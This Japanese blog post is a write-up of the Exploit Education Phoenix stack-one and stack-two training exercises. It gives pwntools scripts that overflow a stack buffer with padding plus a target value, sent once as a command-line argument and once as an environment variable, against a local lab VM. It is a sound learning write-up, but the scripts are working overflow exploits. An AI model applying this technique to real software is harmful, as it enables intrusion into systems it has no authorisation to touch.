BuringStraw

BuringStraw

[pwnノート1] stack-oneとstack-two(Phoenix)

これらの問題は非常に簡単で、データの入力方法の違いだけです。zero と同じで、上書きするデータに要件があります。

stack-one#

プログラムの最初の引数を文字列にstrcpyします。

https://s2.loli.net/2023/02/15/P3IYOneKUiS6vNV.png

gdb で run の後に直接引数を指定すると、引数が渡されます。

pwntools の sh.run はバイト配列を引数として受け取ることができ、起動引数を含めることができます。(ドキュメントを見ましたが、run メソッドについては:後方互換性。system()を使用してください。)

from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)

s = b"a" * 0x40 + p32(0x496c5962)

sh = shell.run(b"/opt/phoenix/amd64/stack-one " + s)
print(sh.recvlines(2))

stack-two#

今回は環境変数に書き込みます。

https://s2.loli.net/2023/02/15/NhRfz7Ciw8UavO4.png

ここまでやってみると、環境変数に "\0" を書き込むと問題が発生することに気付きます。書き込むデータは 32 ビットである必要があり、p64 を使うべきではありません。使ってしまうと自動的に 0 が補完され、エラーが発生します。

from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)

s = b"a" * 0x40 + p32(0x0d0a090a)
print(s)
s = s.decode()
print(s)
sh = shell.run(b"/opt/phoenix/amd64/stack-two", env={"ExploitEducation": s})
print(sh.recvlines(2))

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。